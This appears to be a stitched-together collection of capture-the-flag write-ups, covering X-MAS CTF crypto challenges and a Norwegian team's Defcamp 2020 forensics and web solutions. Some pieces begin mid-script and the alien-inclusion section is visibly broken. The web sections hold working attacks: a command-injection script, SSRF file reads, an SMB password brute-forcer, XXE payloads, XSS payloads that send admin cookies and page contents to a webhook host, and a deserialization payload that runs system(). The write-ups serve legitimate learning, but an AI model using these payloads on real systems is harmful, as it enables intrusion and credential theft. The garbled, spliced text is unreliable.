def prnt(line): print(line, file=sys.stderr) print(line) pass
# PoWp_o_w = inp().split(' ')[-1]inp()prnt(PoW(p_o_w))
# Read introinp(4)
NN = list()nn = Noneee = Nonepp = Noneqq = Nonephi = Nonedd = Nonecc = Nonefor i in range(256): # Read menu inp(5)
# Choose option 1 prnt(1)
cc = int(inp().split(': ')[1][:-1], 16) inp() nn = int(inp().split(': ')[1], 10) ee = int(inp().split(': ')[1], 10) inp()
for n in NN: ggt = gcd(nn, n) if ggt != 1: print('[INFO] Duplicate factor found!', file=sys.stderr) pp = ggt break pass pass if not pp == None: break pass else: NN.append(nn) pass pass if pp == None: prnt(3) exit(0) pass
# Compute secret keyqq = nn // ppphi = (pp-1) * (qq-1)dd = inverse_mod(ee, phi)mi = pow(cc, dd, nn)ms = hex(mi)[2:]
# Read menuinp(5)
# Choose option 2prnt(2)
inp(2)
prnt(ms)inp(2)```
And voila: When running the script, we indeed observed prime number reusage:```$ ncat -e ${PWD}/santas_public_key_factory.sage challs.xmas.htsp.ro 1000[...]Choose what you want to do:1. get encrypted secret message2. guess the secret message3. exit
1Here is the encrypted secret message: 2679e38b198f5815df86fbe2698697b9b0bba6636c2e63f7d5cc9ea6b9cabb48e853bf3996a596e3fb72062c850f701af770b21e142e8fb9ad2d048048640af188e82b2f4ca37c6c01ad01d5ef6298f684017eeb0ff887b68e499677451b4e03d35a7266ca399c96d1a7ed8f6be109fb0baaaeabc2e2d5a9e956cd832bd0bfc183ddc4c75c008922549cda8d6568eeae3d0fc2f16b78b7582ae6eddfbc994e48161c8b55c6543452c6d21eb51342605cb2386ba31e370e3c60aa9c683c56ef29f6cc4baa557c56866f030ded3a1d9232a1d657a6f22fd87f3cc09817582383c90a9992f59a41e7cec09974a2acd97d8c9cfe1c85c7dd64817d00c687be8aae4a.Ah, and also here's the public key with which it was encrypted:n: 8079251517893884153226649892767688917265798970329695047338595582369397621426984040735092129644587761986658412325473735342117658930106916201045793412035524834697233107715326664348717457272348743848500550196933670492059608094892880972168375355830986853543150055828544190611440233236154945300182931898129892215264804199753719949051893832823278584030431821712155150577369709586010756188562929222985412125872628891467616080282959116804180374051991807209531040073358199585846456864778416574824006160575786320593847318436460835228185950514059033856079349982539851820385356752470926237421794866513330303491283852793043087247e: 65537
[INFO] Duplicate factor found!Choose what you want to do:1. get encrypted secret message2. guess the secret message3. exit
2Let's see what you've got.
715e61411551edbcIt seems you are a genius, we can't understand how you did it, but you did.Here's your flag: X-MAS{M4yb3_50m3__m0re_r4nd0mn3s5_w0u1d_b3_n1ce_eb0b0506}``` |
```from sympy import * from pwn import *
def countPairs(G, L): if L % G != 0: return 0 if L == G: return 1 n = L // G return 1 << len(primefactors(n))
if __name__ == "__main__": nc = remote('challs.xmas.htsp.ro', 6050) for i in range(5): chall = nc.recvline().decode().strip() i = 0 while True: test = nc.recvline().decode().strip() print(test) G = int(nc.recvline().decode().strip()[12:]) L = int(nc.recvline().decode().strip()[12:]) answer = countPairs(G, L) nc.sendline(str(answer)) i += 1 if i == 100: check = nc.recv().decode().strip() print(check) break else: check = nc.recvline().decode().strip() print(check)``````[x] Opening connection to challs.xmas.htsp.ro on port 6050[x] Opening connection to challs.xmas.htsp.ro on port 6050: Trying 149.28.40.196[+] Opening connection to challs.xmas.htsp.ro on port 6050: DoneTest number: 1/100Good, that's right!Test number: 2/100Good, that's right!Test number: 3/100Good, that's right!Test number: 4/100Good, that's right!Test number: 5/100Good, that's right!Test number: 6/100Good, that's right!Test number: 7/100Good, that's right!Test number: 8/100Good, that's right!.........Test number: 94/100Good, that's right!Test number: 95/100Good, that's right!Test number: 96/100Good, that's right!Test number: 97/100Good, that's right!Test number: 98/100Good, that's right!Test number: 99/100Good, that's right!Test number: 100/100Good, that's right!Wow, you really know this kind of weird math? Here's your flag: X-MAS{gr347es7_c0mm0n_d1v1s0r_4nd_l345t_c0mmon_mult1pl3_4r3_1n73rc0nn3ct3d}``````X-MAS{gr347es7_c0mm0n_d1v1s0r_4nd_l345t_c0mmon_mult1pl3_4r3_1n73rc0nn3ct3d}``` |
# Scrambled Carol (Crypto)Description:> I downloaded this carol a few days ago, and then I started reverse engineering some malware... Somehow my carol got scrambled after that, and next to it appeared some sort of weird script.
> Can you help me recover the carol? It was a very good one.
> Note: Challenge does not follow the normal flag format. Upload as lowercase.
> Author: Gabies
Files:- [script.py](script.py)- [output.txt](output.txt)
We're given two files only
`script.py`:```pyimport osimport random
def get_seed(size): return int(os.urandom(size).hex(), 16)
input_data = Noneoutput_data = ""
seed = get_seed(4)random.seed(seed)
old_sigma = "0123456789abcdef"new_sigma = list(old_sigma)random.shuffle(new_sigma)new_sigma = ''.join(new_sigma)print(old_sigma, new_sigma)
with open("input.txt", "r") as in_file: input_data = in_file.read()
for alpha in input_data: encoded = (bytes(alpha.encode()).hex()) output_data += new_sigma[old_sigma.index(encoded[0])] output_data += new_sigma[old_sigma.index(encoded[1])]
with open("output.txt", "w") as out_file: out_file.write(str(output_data))```
`output.txt`:```3b180e0b05d71802070d0e... (a long hex string)```
The script convert the `input.txt` into hex, then it map the hex value using `new_sigma` which random shuffled `0123456789abcdef` string
We can't reverse the shuffle, but we can **analyse the ciphertext frequency!**
By using [Frequency Analysis](https://en.wikipedia.org/wiki/Frequency_analysis), we can recover the plaintext!
Because the `output.txt` is very long, so it must have many sentences.
**Each letter produce the same hex value**, so we can use this technique
I used the letter frequency in this [website](https://inventwithpython.com/hacking/chapter20.html)
Then use python to script it:```pytext = open("output.txt",'r').read().decode('hex')freq = sorted(set(text), key = text.count)[::-1]
englishLetterFreq = ' ETAOINSHRDLCUMWFGYPBVKJXQZ'# Map each ciphertext with a lettermapping = {}for i,t in enumerate(freq): if i < 27: mapping[t] = englishLetterFreq[i]
flag = ''for c in text: if c in mapping.keys(): flag += mapping[c]
print(flag)```Result:```Z DAHM IOLDR DE NRSTN STE PTOLDRHM NDOIOILKCR ON RDE IOLDR AB AFT UEST SXOAFTN POTRDJCAIL HSM RDE WATHU OI NOI SIU ETTAT VOIOILKCOHH YE SVVESTU SIU RDE NAFH BEHR ORN WATRDJC RDTOHH AB DAVEK RDE WESTM WATHU TEAOQENKCAT MAIUET PTESN S IEW SIU LHATOAFN GATIJCCSHH AI MAFT IEEN Z DEST RDE SILEH XAOQENCZ IOLDR UOXOIEK Z IOLDR WDEI DTONR WSN PATICZ IOLDR UOXOIEK Z IOLDRK Z IOLDR OXOIEJCCEU PM RDE HOLDR AB SORD NETEIEHM PESGOILKCORD LHAWOIL DESTRN PM YON QTSUHE WE NRSIUJCA HEU PM HOLDR AB S NRST NWEERHM LHESGOILKCYETE QAGE RDE WONE GEI BTAG RDE ZTOEIR HSIUJCDE OIL AB OILN HSM RDFN OI HAWHM GSILETCI SHH AFT RTOSHN PATI RA PE AFT BTOEIUJCCYE IAWN AFT IEEUK RA AFT WESIENNEN IA NRTSILETKCEDAHU MAFT OIL EBATE YOG HAWHM PEIUCEDAHU MAFT OILK EBATE YOG HAWHM PEIUCCTFHM YE RSFLDR FN RA HAXE AIE SIARDETCYON HSW ON HAXE SIU YON LANVEH ON VESQEJCDSOIN NDSHH YE PTES BAT RDE NHSXE ON AFT PTARDETCIU OI YON ISGE SHH AVVTENNOAI NDSHH QESNEJCWEER DMGIN AB AM OI LTSREBFH QDATFN TSONE WEKCER SHH WORDOI FN VTSONE YON DAHM ISGEJCCDTONR ON RDE ATU Z VTSONE YON SGE BATEXETKCYON VAWET SIU LHATM EXETGATE VTAQHSOGJCYON VAWET SIU LHATM EXETGATE VTAQHSOGJ CCDON QSTAH WSN EIQAUEU RA LSTPSLE PM YN LSILJCDE BHSL ON GSNWSNIEXETSNLAAUSNORONRDONMESTC```As you can see the frequency is not accurate..
But notice a long word `GSNWSNIEXETSNLAAUSNORONRDONMESTC`, this must be the flag!
And last previous words `BHSL ON` should be `FLAG IS`
After changing the script I got:```Z DNLM OIGDR DE SRATS ATE PTIGDRLM SDIOIOGKCR IS RDE OIGDR NF NBT UEAT AXINBTS PITRDJCNOG LAM RDE WNTLU IO SIO AOU ETTNT VIOIOGKCILL YE AVVEATU AOU RDE SNBL FELR IRS WNTRDJC RDTILL NF DNVEK RDE WEATM WNTLU TENIQESKCNT MNOUET PTEAS A OEW AOU GLNTINBS HNTOJCCALL NO MNBT OEES Z DEAT RDE AOGEL XNIQESCZ OIGDR UIXIOEK Z OIGDR WDEO DTISR WAS PNTOCZ OIGDR UIXIOEK Z OIGDRK Z OIGDR IXIOEJCCEU PM RDE LIGDR NF AIRD SETEOELM PEAHIOGKCIRD GLNWIOG DEATRS PM YIS QTAULE WE SRAOUJCN LEU PM LIGDR NF A SRAT SWEERLM GLEAHIOGKCYETE QNHE RDE WISE HEO FTNH RDE ZTIEOR LAOUJCDE IOG NF IOGS LAM RDBS IO LNWLM HAOGETCO ALL NBT RTIALS PNTO RN PE NBT FTIEOUJCCYE ONWS NBT OEEUK RN NBT WEAOESSES ON SRTAOGETKCEDNLU MNBT IOG EFNTE YIH LNWLM PEOUCEDNLU MNBT IOGK EFNTE YIH LNWLM PEOUCCTBLM YE RABGDR BS RN LNXE NOE AONRDETCYIS LAW IS LNXE AOU YIS GNSVEL IS VEAQEJCDAIOS SDALL YE PTEA FNT RDE SLAXE IS NBT PTNRDETCOU IO YIS OAHE ALL NVVTESSINO SDALL QEASEJCWEER DMHOS NF NM IO GTAREFBL QDNTBS TAISE WEKCER ALL WIRDIO BS VTAISE YIS DNLM OAHEJCCDTISR IS RDE NTU Z VTAISE YIS AHE FNTEXETKCYIS VNWET AOU GLNTM EXETHNTE VTNQLAIHJCYIS VNWET AOU GLNTM EXETHNTE VTNQLAIHJ CCDIS QATNL WAS EOQNUEU RN GATPAGE PM YS GAOGJCDE FLAG IS HASWASOEXETASGNNUASIRISRDISMEATC```Notice alot of `RDE` should be `THE` the most common word
After changing, got closer to the plaintext:```Z HNLM OIGHT HE STARS ARE PRIGHTLM SHIOIOGKCT IS THE OIGHT NF NBR UEAR AXINBRS PIRTHJCNOG LAM THE WNRLU IO SIO AOU ERRNR VIOIOGKCILL YE AVVEARU AOU THE SNBL FELT ITS WNRTHJC THRILL NF HNVEK THE WEARM WNRLU RENIQESKCNR MNOUER PREAS A OEW AOU GLNRINBS DNROJCCALL NO MNBR OEES Z HEAR THE AOGEL XNIQESCZ OIGHT UIXIOEK Z OIGHT WHEO HRIST WAS PNROCZ OIGHT UIXIOEK Z OIGHTK Z OIGHT IXIOEJCCEU PM THE LIGHT NF AITH SEREOELM PEADIOGKCITH GLNWIOG HEARTS PM YIS QRAULE WE STAOUJCN LEU PM LIGHT NF A STAR SWEETLM GLEADIOGKCYERE QNDE THE WISE DEO FRND THE ZRIEOT LAOUJCHE IOG NF IOGS LAM THBS IO LNWLM DAOGERCO ALL NBR TRIALS PNRO TN PE NBR FRIEOUJCCYE ONWS NBR OEEUK TN NBR WEAOESSES ON STRAOGERKCEHNLU MNBR IOG EFNRE YID LNWLM PEOUCEHNLU MNBR IOGK EFNRE YID LNWLM PEOUCCRBLM YE TABGHT BS TN LNXE NOE AONTHERCYIS LAW IS LNXE AOU YIS GNSVEL IS VEAQEJCHAIOS SHALL YE PREA FNR THE SLAXE IS NBR PRNTHERCOU IO YIS OADE ALL NVVRESSINO SHALL QEASEJCWEET HMDOS NF NM IO GRATEFBL QHNRBS RAISE WEKCET ALL WITHIO BS VRAISE YIS HNLM OADEJCCHRIST IS THE NRU Z VRAISE YIS ADE FNREXERKCYIS VNWER AOU GLNRM EXERDNRE VRNQLAIDJCYIS VNWER AOU GLNRM EXERDNRE VRNQLAIDJ CCHIS QARNL WAS EOQNUEU TN GARPAGE PM YS GAOGJCHE FLAG IS DASWASOEXERASGNNUASITISTHISMEARC```I lazy to do this manually, so I use [quiqqiup](http://quipqiup.com/) to help me solve it!

By googling, you can find this is a [chrismas song lyrics!](https://genius.com/Christmas-songs-o-holy-night-lyrics)
## Flag> xmaswasneverasgoodasitisthisyear |
When connecting to the server, we get the following information:
```$ nc challs.xmas.htsp.ro 1004Provide a hex string X such that sha256(unhexlify(X))[-5:] = 88446
1c0a2cef6da36bff2543Good, you can continue!Hello, thanks for answering my call, this time we have to break into Krampus' server and recover a stolen flag.We have to solve a hash collision problem to get into the server.Sadly, we're on a hurry and you only have 2 actions you can make until we get detected.Choose what you want to do:1. hash a message2. provide a collision3. exit
```
We can either get the hash for a provided message or provide a collision. It is interesting to note that we have only two actions before the server closes the connection.From the provided source code we learn that the hash is computed as follows: The message is split into blocks of 16 bytes. The last block is padded to 16 bytes by adding zero bytes if shorter.```hash = b'\00'*16message = pad(message)for block in message: hash = block ^ aes(hash ^ block)```The key for AES is chosen at random when connecting to the server.
Since the `hash` variable is initially chosen as zero, we know that the result of the first AES encryption is the ciphertext of the provided message. If we choose the first block to be all-zero, the result of the first encryption will also be the new value of the `hash` variable.
Our first operation is getting the hash of an all-zero 16 byte block.
```1Ok, give me a hex-encoded string to hash.
Give me a message.00000000000000000000000000000000Here is your hash: b'6cae7f1c9c2ef4604080f7bae883fa76'.
Choose what you want to do:1. hash a message2. provide a collision3. exit
```
Our second operation is providing the collision. After learning the ciphertext of an all-zero block we can construct a second message that results in the same hash as the all-zero block. The colliding message is of the form `b'\x00'*16 + hash(b'\x00'*16) + b'\x00'*16`.
```2 Now give me two different hex-encoded strings to check for a collision.
Give me a message.00000000000000000000000000000000Give me a message.000000000000000000000000000000006cae7f1c9c2ef4604080f7bae883fa7600000000000000000000000000000000```
This works since the first block sets the `hash` variable to the known hash of an all-zero block. The second block has the same value, so computing the xor results in an all-zero block being encrypted. Xoring the resulting ciphertext with the same value sets `hash` to zero. So now the hash algorithm has the same state like at the start. Since we have another all-zero block left for hashing, we get the same hash as the all-zero block.
After providing the collision, the server prints the flag:```Damn, that was a really clever approach, you should be proud of yourself.Here's the flag: X-MAS{C0l1i5ion_4t7ack5_4r3_c0o1!_4ls0_ch3ck_0u7_NSUCRYPTO_fda233}``` |
# Defcamp 2020 writeups :triangular_flag_on_post:
## Team information**Team name:** bootplug
**Country**: Norway
**CTFTime profile**: https://ctftime.org/team/81341
**Authors**zup, PewZ, UnblvR, maritio_o, odin
We solved 25/26 challenges. Did not solve `inorder`
---
## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it

This **GET** request seems to contain an interesting parameter that looks like a flag.
Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format```
`CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}`
### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle.
Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it.
By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down.
flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}`
### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe
Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js```
Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat}
Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes```
### spy-agency
Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer:
``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip```
We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge.
The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file.
After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message.
```javapackage com.example.hidden_place;
import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}```
However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut.
Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut')
## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php`
```php 15: print("cmd too long!") return
data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data)
tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret)
url += secret print(url)
params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content)
req = requests.get(url) print(req.content)
if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")```
We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}`
### pirate-crawlerThere is nothing on the main page.
First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN.
In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints.
* `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE`
We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9
#1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry```
We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages.
Using this vulnerability we fetched the SMB config and the app.py source code:
`curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf`
`curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py`
There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin```
`josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB
```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf```
There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist.
```python#!/usr/bin/env python3import requestsimport sys
url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt"
with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip()
r = requests.get(url.format(password=pw))
if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")```
The correct password is `christian`. We can now get the flag!
`http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'`
The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}`
### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither.
The flag is in /var/www/html/flag.```
The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input."
The trick was to figure out that you had to send something in the request body instead of a GET parameter.
`curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test`
A new error message: `That XML string is not well-formed`
Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server.
```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```
We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin```
However we cannot leak the flag using base64 encoding.
```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```
The error message is `You just tried to exfiltrate using base64? Nice. Try again!`
Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though:
```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```We then get this string
`瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡〳`
We can convert this to UTF-8 and get the flag!
`ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}`
### cross-meThe challenge name is a hint that this is an XSS challenge.
After you have logged in you can post notes to the website. The admin will check every note you create.
When trying to post `<script>` tags we get an error message:
`Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i`
The server is validating our notes using regex. It has quite a few different patterns that it checks:
- `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im```
The best way I found to bypass this check is to convert our javascript into HTML entities:
e.g. `asdasd` -> `asdasd`
After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters).
Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works:
`<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<`
Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'```
We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin:
`Referer: http://127.0.0.1:1234/index.php?page=post&id=221`
If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**:
```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})```
This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :)
```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'```
FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}`
### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting
- /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup
At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team.```
If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team. Also you can use /decode/{text} to obtain the contents of your private message.```
A new endpoint! `/decode/{text}`.
Almost everything we tried to insert as *text* makes the server respond with
`bool(false)`
If you insert a symbol, you get `File not found`.
I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string
url = "http://35.198.183.125:30278/decode/"
valid_chars = []
headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"}
for c in string.printable: r = requests.get(url+c, headers=headers)
if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip())
print(''.join(valid_chars))```
The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=`
This looks like base64 to me!
At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key:
`APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=`
We also find the decode function used in the Laravel app.
```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }```
This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization?
To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php`
```php<?php
namespace App\Http\Middleware;
use Closure;use Illuminate\Http\Request;
class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // }
public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}```
If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled.
I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16);
echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);```
Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==`
We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory.
